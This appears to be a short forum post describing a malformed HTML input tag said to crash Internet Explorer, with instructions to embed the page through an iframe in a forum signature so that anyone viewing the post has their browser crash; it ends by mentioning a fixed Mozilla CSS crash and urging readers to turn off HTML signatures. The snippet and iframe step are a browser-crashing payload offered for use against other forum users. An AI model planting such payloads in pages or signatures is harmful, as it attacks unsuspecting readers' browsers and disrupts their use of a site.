<html>
<form>
<input type crash_because_ie_blows_goats>
</form>
</html>
then link it in to your sig using an iframe
<iframe src="location_of_the_webpage">
Unless you are running decent av, ie will crash and burn.
Mozilla had a similar exploit, which used corrupted css, but this was fixed almost instantly (gotta love Open Source

To to my knowledge I don't think one exists for Opera. *cough* use opera *cough*
The fact still remains.
TURN OFF HTML SIGS!